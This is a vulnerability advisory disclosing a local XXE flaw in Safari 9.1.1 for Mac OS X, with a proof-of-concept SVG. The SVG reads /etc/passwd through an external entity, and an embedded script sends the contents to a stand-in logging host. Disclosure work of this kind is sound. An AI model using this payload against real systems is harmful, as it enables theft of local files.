Apple Safari version 9.1.1 for Mac OS X suffers from a local XXE vulnerability when processing specially crafted SVG images. This does not work with downloaded files.
23bbd32f77e1c03ed726b6f44b84ac17454893681f3844f34b64aef3707c3454
Advisory ID: SGMA16-003
Title: Apple Safari for Mac OS X SVG local XXE
Product: Apple Safari for Mac OS X
Version: 9.1.1 and probably prior
Vendor: apple.com
Vulnerability type: XXE
Risk level: Medium
Credit: Filippo Cavallarin - wearesegment.com
CVE: N/A
Vendor notification: 2015-04-08
Vendor fix: N/A
Public disclosure: 2016-07-05
Details
Safari for MACOSX is prone to an XXE vulnerability when processing crafted SVG images.
An attacker may use this vulnerability to steal files from local computer by tricking a user
into opening and SVG image from a local location (ie USB key).
This vulnerability is mitigated by the file quarantine and do not work with downloaded files.
Proof of concept:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg version="1.0" xmlns="https://www.w3.org/2000/svg" width="19000px" xmlns:xlink="https://www.w3.org/1999/xlink" >
<text x="-1000" y="-1000" >&xxe;</text>
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
<script>
var logger = "https://logger.local/?file=" + encodeURIComponent(document.getElementsByTagName("text")[0].innerHTML);
document.createElementNS('https://www.w3.org/2000/svg','image').setAttributeNS('https://www.w3.org/1999/xlink','href', logger);
</script>
</svg>
Notes
The vendor has been notified more than one year before public disclosure and the answer was that the issue was
still under analisys. We contacted the vendor again a few weeks before public disclosure but we got no reply.
Solution
N/A
References
https://www.wearesegment.com/research/Apple-Safari-for-Mac-OS-X-SVG-local-XXE